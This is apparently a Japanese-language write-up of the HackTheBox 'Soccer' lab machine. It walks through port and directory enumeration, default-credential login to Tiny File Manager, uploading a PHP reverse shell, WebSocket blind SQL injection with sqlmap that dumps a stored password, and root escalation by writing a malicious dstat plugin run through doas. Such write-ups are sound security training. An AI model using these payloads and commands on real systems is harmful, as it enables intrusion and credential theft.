【HackTheBox】Soccer Writeup
Enumeration
nmap
┌──(kali㉿kali)-[~]
└─$ nmap -p- -Pn -open 10.10.11.194
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-13 09:13 EDT
Nmap scan report for 10.10.11.194
Host is up (0.17s latency).
Not shown: 63845 closed tcp ports (conn-refused), 1687 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9091/tcp open xmltec-xmlmail
Nmap done: 1 IP address (1 host up) scanned in 60.50 seconds
port 80のドメイン名はsoccer.htb
だったので/etc/hosts
に入れます。
website
サイトはこんな感じです。操作できそうなところがなかったです。
gobuster
gobuster実行したら/tiny
というディレクトリが見つかりました。
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://soccer.htb
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soccer.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/06/13 09:28:11 Starting gobuster in directory enumeration mode
===============================================================
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 87659 / 87665 (99.99%)
===============================================================
2023/06/13 09:54:36 Finished
===============================================================
/tiny Directory
tiny file managerを調べてみたら、PHPで書かれているファイルマネージャーでした。(https://github.com/prasathmani/tinyfilemanager)
githubにデフォルトのcredentialsがありました。admin:admin@123
でログインしてみたら入れました。バージョンは2.4.3です。
Shell as www-data
File Upload Attack
tiny file manager 2.4.3 exploitで検索したら、ファイルのアップロードでRCEできると書いてあったのでやってみます。(https://github.com/febinrev/tinyfilemanager-2.4.3-exploit)
reverse shellはpentestmonkeyのスクリプトを使います。(https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)
アップロードした後、http://soccer.htb/tiny/uploads/reversephp.php
にアクセスするとシェルが取れました。www-dataのシェルでした。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.194] 56830
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
14:45:39 up 1:37, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@soccer:/$
playerというユーザーがいました。
www-data@soccer:/$ ls home
ls home
player
いろいろenumerationしてみたらサブドメインを発見しました。/etc/hosts
に入れて確認します。
www-data@soccer:/$ cat /etc/hosts
127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb
127.0.1.1 ubuntu-focal ubuntu-focal
Subdomain Enumeration
サブドメインにはmatch、login、signupページがありました。
登録してログインすると/check
ページにリダイレクトされて、そしてチケット番号をもらいました。フォームに正しいチケット番号を入力するとticket exist、間違った番号だとticket doesn't existが表示されます。
ページソース見るとこんなjavascriptがありました。
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {
var btn = document.getElementById('btn');
var input = document.getElementById('id');
ws.onopen = function (e) {
console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
keyOne(e)
});
function keyOne(e) {
e.stopPropagation();
if (e.keyCode === 13) {
e.preventDefault();
sendText();
}
}
function sendText() {
var msg = input.value;
if (msg.length > 0) {
ws.send(JSON.stringify({
"id": msg
}))
}
else append("????????")
}
}
ws.onmessage = function (e) {
append(e.data)
}
function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}
enterを押すと{"id": msg}
がws://soc-player.soccer.htb:9091
に送信されるみたいです。インジェクションできるかどうか試したいので、burpを立ち上げます。
テストした結果、{"id":"1000 or 1=1 -- "}
でticket existsが返ってきたので、インジェクションできそうです(boolean-based blind SQLi)。
WebSocket Boolean-based Blind SQLi
sqlmap websocket explolitで検索するといくつかのpython scriptが出てきましたが、調べてみたらsqlmapはそのままwebsocketにも使えるみたいです。
(https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html 、https://github.com/BKreisel/sqlmap-websocket-proxy とか)
最初はsqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1000"}' --batch
で実行しましたが、time-based blindしか検知できなったです。
time-baseだととても遅いので--level 5 --risk 3
を入れて、別タイプのSQLiを検知できないかを見てみました。
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1000"}' --batch --level 5 --risk 3 --flush-session
___
__H__
___ ___[.]_____ ___ ___ {1.6.11#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
...[snip]...
sqlmap identified the following injection point(s) with a total of 393 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: {"id": "-7383 OR 1662=1662"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id": "1000 AND (SELECT 2499 FROM (SELECT(SLEEP(5)))HPWA)"}
---
boolean-based blindもできるみたいでよかったです。
ではdbの情報を抽出します。
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1000"}' --batch --level 5 --risk 3 --dbs
...[snip]...
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
soccer_dbの中のテーブルを確認します。
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1000"}' --batch --level 5 --risk 3 -D soccer_db --tables
...[snip]...
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
accountというテーブルがありました。では中身を抽出します。
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "1000"}' --batch --level 5 --risk 3 -D soccer_db -T accounts --dump
...[snip]...
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
これでsshしてみます。
Shell as Player
playerとしてログインできました。user flagゲットです。
┌──(kali㉿kali)-[~]
└─$ ssh player@10.10.11.194
player@10.10.11.194's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19
player@soccer:~$ ls
user.txt
player@soccer:~$ cat user.txt
Enumeration
パスワードがあるのでsudo -l
をみてみましたが、実行できるコマンドがなかったです。
player@soccer:/$ sudo -l
[sudo] password for player:
Sorry, user player may not run sudo on localhost.
linpeasを実行します。
╔══════════════════════╗
═════════════════════════════╣ Software Information ╠═════════════════════════════
╚══════════════════════╝
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/local/bin/doas
...[snip]...
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 42K Nov 17 2022 /usr/local/bin/doas
...[snip]...
╔═════════════════════════╗
════════════════════════════╣ Other Interesting Files ╠════════════════════════════
╚═════════════════════════╝
╔══════════╣ .sh files in path
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path
/usr/bin/rescan-scsi-bus.sh
/usr/bin/gettext.sh
╔══════════╣ Executable files potentially added by user (limit 70)
2022-11-17+09:09:15.5479107120 /usr/local/bin/doasedit
2022-11-17+09:09:15.5439087120 /usr/local/bin/vidoas
2022-11-17+09:09:15.5399067120 /usr/local/bin/doas
doas
というコマンドが何回も出てきたので調べてみました。
sudo
の代わりに使うプログラムみたいです。これは権限昇格に使えそうです。
Doas Exploit
doasのドキュメントを読むと、doas.conf
というconfigurationファイルがあるみたいです。探してみます。
player@soccer:/$ find / -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:/$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
playerはrootとして/usr/bin/dstat
を実行できることがわかりました。
player@soccer:~$ doas -u root /usr/bin/dstat
You did not select any stats, using -cdngy by default.
--total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai stl| read writ| recv send| in out | int csw
4 3 93 0 0| 35k 10k| 0 0 | 0 0 | 248 447
0 0 100 0 0| 0 0 | 528B 1198B| 0 0 | 244 474
1 0 98 0 0| 0 156k| 242B 436B| 0 0 | 280 500
GTFOBinsでdoasを検索してみるとroot shellを取る手順があったので、やってみます。
Shell as Root
player@soccer:~$ echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
player@soccer:~$ doas -u root /usr/bin/dstat --xxx
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
# whoami
root
# cat /root/root.txt
rootフラグ取れました。
Discussion